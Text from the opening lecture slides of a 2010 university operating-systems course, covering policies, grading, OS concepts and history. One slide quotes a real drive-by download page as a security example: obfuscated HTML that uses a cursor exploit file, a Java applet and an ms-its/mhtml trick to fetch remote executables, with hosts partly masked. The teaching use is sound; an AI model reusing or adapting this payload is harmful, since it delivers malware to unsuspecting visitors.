1
CS354: Operating SystemsSpring 2010
Dongyan XuDepartment of Computer Science
Purdue University
2
General Information
• Web Page: http://www.cs.purdue.edu/homes/cs354
• Office: LWSN1173 (Monday 2-4pm) • E-mail: [email protected]• Textbook:
– Silberschatz, Galvin and Gagne. Operating System Concepts. Addison-Wesley. (8th Edition)
• Recommended:– Andrew Tanenbaum. Modern Operating Systems (3nd
Edition)
3
Staff
• Dongyan Xu, associate professor– Ph.D. University of Illinios at Urbana-
Champaign– Research:
• Virtual machines (VMware, Xen, QEMU…)• Malware (rootkits, worms, spyware…)
defense• Cloud computing
• TAs: Sahan Gamage, Huanyu Shao
4
On-line Communications• All announcements will be posted in the
“Discussions” area of the Blackboard Vista system.
• It is your responsibility to check the web page and the Blackboard for official announcements, clarification of project description, answers to project-related questions.
5
PSOs• There is no PSO this week.• The projects will be explained in the
PSOs.• Post your questions on the
Blackboard and the TA and myself will regularly check and answer them
• TAs office hours will be posted on the web page (coming soon)
6
Grading• Grade allocation
– Midterm: 25%• Thursday, March 11, 2010• 8:00PM – 9:30PM• LILY 3118
– Final: 30%– Projects: 45%– In-class Quizzes: 3% bonus
7
Grading policy
• Blackboard Vista for grade posting• Late policy for projects
– No Late Policy, but there will be 3 non-emergency Bonus Days (penalty-free)
• It is your responsibility!– Check announcements on Blackboard and
web page• Projects will be done individually
– General discussion allowed– Must be on your own when coding starts
8
Re-grading policy
• Students have 2 weeks (after the grade for a project/quizz/exam is released) to request for re-grading
• Re-grading requests need to be in writing
• After the re-grading period, no re-grading request will be granted.
9
Cheating Policy• Academic integrity• Your projects, quizzes and exams must be
your own - we have a zero tolerance policy towards cheating of any kind and any student who cheats will get
– Zero for the project/quizz/exam at first offense
– F grade for the course thereafter• Both the cheater and the person(s) who
aided the cheater will be held responsible for the cheating
10
Lecture Format
• Help you understand important and hard OS concepts
• Lectures do not cover everything– Not all questions in exams are from lectures
• Students responsibility– Attend lectures– Read textbook, lecture notes – Projects, quizzes, exams– Periodically check web page– Read/utilize on-line discussion
11
Course Organization1. OS overview2. Computer architecture overview3. Program structure overview4. Processes and threads5. Memory management6. I/O management7. File systems8. Advanced topics (security, VMs)
12
Introduction
• A computer system consists of– hardware– system programs– application programs
Interfacing with Operating System
14
What is an Operating System (OS)• It is a program that sits between the
hardware and the application programs.• The program starts running at boot
time.• Who boots up the OS?
– BIOS self-check -> determining boot device -> first sector loaded and executed -> partition-specific boot loader loaded and executed -> OS loaded and executed
15
What does an Operating System Offer? • To serve and to protect• It offers services that are
common to all applications:– Program execution, Printing, Windowing,
File Access, resource allocation• It offers multitasking
– Allows multiple processes running at the same time
• It offers Protection/Security. – A user cannot see files of other users.
16
(Lack of) OS Security
• Malware– Botnets– Worms
• Why do they spread so quickly?– Spyware, keylogger, identity theft, blackmail…
GREETINGS FROM GENERAL ENCRYPTION!
TO PURCHASE A DECRYPTION KEY FOR YOUR HARD DISK, PLEASE SEND $100 IN SMALL UNMARKED BILLS TO BOX 2154, PANAMA CITY, PANAMA. THANK YOU. WE APPRECIATE YOUR BUSINESS
17
• Upon Clicking a malicious URL– http://xxx.9x.xx8.8x/users/xxxx/xxx/laxx/z.html
22 unwanted programs installed without user’s consent!
MS04-013
MS03-011
MS05-002
<html><head><title></title></head><body>
<style>* {CURSOR: url("http://vxxxxxxe.biz/adverts/033/sploit.anr")}</style>
<APPLET ARCHIVE='count.jar' CODE='BlackBox.class' WIDTH=1 HEIGHT=1>
<PARAM NAME='url' VALUE='http://vxxxxxxe.biz/adverts/033/win32.exe'></APPLET>
<script>
try{document.write('<object
data=`ms-its:mhtml:fil&#
101://C:\fo'+'o.mht!'+'http://vxxxx'+'xxe.biz//adv'+'erts//033//
targ.ch'+'m::/targ'+'et.htm` type=`text/x-scriptlet`></ob'+'ject>');}catch(e){} </script>
</body></html>
A Real Incident [JPDC’06]
18
What does an Operating System Offer?– It offers Reliability
• Each program runs inside a “sandbox”. If the process does something wrong like writing to an invalid memory, it will receive a notification. Processes will not get out of the sandbox. The OS continues running.
– It offers fairness• access to resources has to be fair across
users with the same priority.– It supports multiple users
• It allows running multiple users in the same machine simultaneously.
19
The Operating System Zoo
• Mainframe operating systems• Server operating systems• Multiprocessor operating systems• Personal computer operating
systems• Real-time operating systems• Embedded operating systems• Smart card operating systems
20
Windows 7
• http://www.microsoft.com/windows/windows-7/
21
22
Android Platformhttp://code.google.com/android/
• The first complete, open, and free mobile platform
Wireless Sensor Nodes
23
Blue Gene/L Supercomputer
24
25
Blue Gene/L OS
26
History of Operating Systems (1)
Early batch system– bring cards to 1401– read cards to tape– put tape on 7094 which does computing– put tape on 1401 which prints output
27
History of Operating Systems (2)
• First generation 1945 - 1955– vacuum tubes, plug boards
• Second generation 1955 - 1965– transistors, batch systems
• Third generation 1965 – 1980– ICs and multiprogramming
• Fourth generation 1980 – present– personal computers
28
History of Operating Systems (3)
• Structure of a typical FMS job – 2nd generation
29
History of Operating Systems (4)
• Multiprogramming system – three jobs in memory – 3rd generation
30
Summary
• Course overview• Policy and requirement• What is OS?• OS history
• Coming up next: – Review of computer architecture